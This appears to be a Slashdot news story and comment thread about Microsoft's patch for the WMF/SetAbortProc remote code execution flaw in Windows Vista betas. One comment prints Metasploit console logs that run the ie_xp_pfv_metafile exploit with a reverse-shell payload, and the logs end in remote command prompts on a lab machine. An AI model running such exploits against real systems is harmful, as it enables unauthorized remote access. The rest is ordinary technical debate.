First Windows Vista Security Update Released

Bard Of Vim writes "Microsoft has issued critical security patches for beta testers running the Windows Vista December CTP (Community Technology Preview) and Windows Vista Beta 1, and warned that the new operating system was vulnerable to a remote code execution flaw in the Graphics Rendering Engine. The Vista patches address the same vulnerability that led to the WMF (Windows Metafile) malware attacks earlier this month. The recent out-of-cycle security update for the WMF vulnerability (see slashdot coverage) makes no mention of Windows Vista being vulnerable, but with the release of this weekend's patches it is clear that the poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

Comments

SetAbortProc is OK

[RingDev]

"poorly designed 'SetAbortProc,' the function that allows printing jobs to be canceled, was ported over to Vista."

SetAbortProc is well designed. The problem is the code that handles the WMF. That code is allowing a payload to be placed on the stack and an incorrect pointer to be sent.

All set abort proc does is send an abort code to the print job and set a call back method to call when the abort completes.

-Rick

Re:SetAbortProc is OK

[RingDev]

int SetAbortProc(
HDC hdc, // handle to DC
ABORTPROC lpAbortProc // abort function
);

SetAbortProc doesn't take a Length value. It takes the DC of the print job to cancel, and the pointer to a call back method to launch when the abort completes.

I was incorrect in one aspect. SetAbortProc is in the GDI, NOT Win32 library. But it isn't the problem here. The problem is that vulnerbility in the code that parses the record is passing the incorrect call back method pointer to the SetAbortProc method.

-Rick

Re:Cant wait...

[blast3r]

I posted something about Vista being vulnerable to the WMF thing in a Vista Kernel post here not long ago. They got a little mad at me but that is okay. Everyone has to be mad at someone!

People were telling me you can't automatically exploit it but I fired up metasploit and was successful with the admin account and a non-priv account.

Administrator

msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Waiting for connections to http://10.1.1.101:8080/
[*] HTTP Client connected from 10.1.1.106:49450, redirecting...
[*] HTTP Client connected from 10.1.1.106:49451, redirecting...
[*] HTTP Client connected from 10.1.1.106:49452, redirecting...
[*] HTTP Client connected from 10.1.1.106:49453, sending 1864 bytes of payload...
[*] Got connection from 10.1.1.101:4321 10.1.1.106:49454

Microsoft Windows [Version 6.0.5112]
(C) Copyright 1985-2005 Microsoft Corp.

E:\Users\Administrator\Desktop>

Test account

msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Waiting for connections to http://10.1.1.101:8080/
[*] HTTP Client connected from 10.1.1.106:49487, redirecting...
[*] HTTP Client connected from 10.1.1.106:49488, redirecting...
[*] HTTP Client connected from 10.1.1.106:49489, sending 1864 bytes of payload...
[*] Got connection from 10.1.1.101:4321 10.1.1.106:49490

Microsoft Windows [Version 6.0.5112]
(C) Copyright 1985-2005 Microsoft Corp.

E:\Users\test\Desktop>

I am wondering what else they are going to import from the old technology. I was a Windows fan up until this WMF dealio. I work in an Information Security office and all of our staff are going to Mac. Ordered them Friday!

Re:Does anyone else get the feeling...

[AuMatar]

Consumers don't want it either. They have even less money to pay for new software and hardware than buisnesses. They rarely upgrade any software until they have to or they get a new computer (unless the upgrade is free).

Re:I find such lack of security...

[fimbulvetr]

Say what???
Just about weekly? I beg to differ. Last local root exploit:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE- 2005-3257 Date? 2005-10-17

The one before:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-2490 (and 2492, both with sendmsg) Date? 2005-09-09

How about the one before?

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN- 2005-1768 Date? 2005-07-11

Perhaps you'd like to backup your claim?

Dozens? No. Several? Yes. Dozen? About that. How many would M$ products have if as many eyes analyzed it relentlessly? A metric assload. Take the partial 2k source code for an example.

Didn't Microsoft say...

[Hymer]

...that Longhorn (now Vista) is completly new design... from scratsh... none of the earlier flaws would be ported to it ?
Do I remember wrong ? ...or are they full of shit as usual ?

Re:.NET 2 = already available.

[Nik13]

Actually, .NET 2.0 runs on everything short of Win95 AFAIK. Vista isn't about .NET 2.0 whatsoever, it's about a bunch of other new technologies:

WPF: Windows Presentation Framework ("avalon"; using XAML): what WinFX and the new AERO Shell are based onto;
WCF: Windows Communication Foundation ("indigo": an enhancement to Web Services, MSMQ, etc);
WWF: Windows Workflow Foundation, to help take care of scenarios like the one that was asked on "ask.slashdot.org" just yesterday. Something that's becoming increasingly common/important nowadays.

People like to just dismiss Vista like it has nothing new or worthwhile, ignoring all the new stuff that actually IS there, not just the previous 3 things mentionned, but there's a great deal of other changes (video drivers not in kernel mode anymore, new audio and printing (both work quite differently), GUI rendered by the

There are differences. It may not be worthwhile to everyone, but as a programmer I'm looking forward to many of these advances (WCF seems really nice). Saying Vista is about .NET 2 and that people don't care about that is uninformed at best...

Before i replied

[myfantasyromanc]

Now people are making fun of microsoft for porting this over to vista! Do any of you know what it is. If you are a graphics designer you probably should know what it is. Look it up graphics designers and web designers love vector graphics. This is the file that allows windows to draw vector and bitmap images on pre 2000 systems, though it is still included for backwards compatability.

A metafile is a list of commands that can be played back to draw a graphic. Typically, a metafile is made up of commands to draw objects such as lines, polygons and text and commands to control the style of these objects. NOTE: Some people equate metafiles with vector graphics. In most cases this is fine; but, strictly speaking, a metafile can contain any mix of vector and raster graphics. For example, a metafile could contain just one command to display a bitmap! Unless the distinction is important, we will consider a metafile to be a kind of vector graphic.

The reason it was still included is cause it is technically a file format! Do you rewrite everything in linux? Was php totally rewritten from the ground up from php4 to php5 i don't think so.

Just my take on things!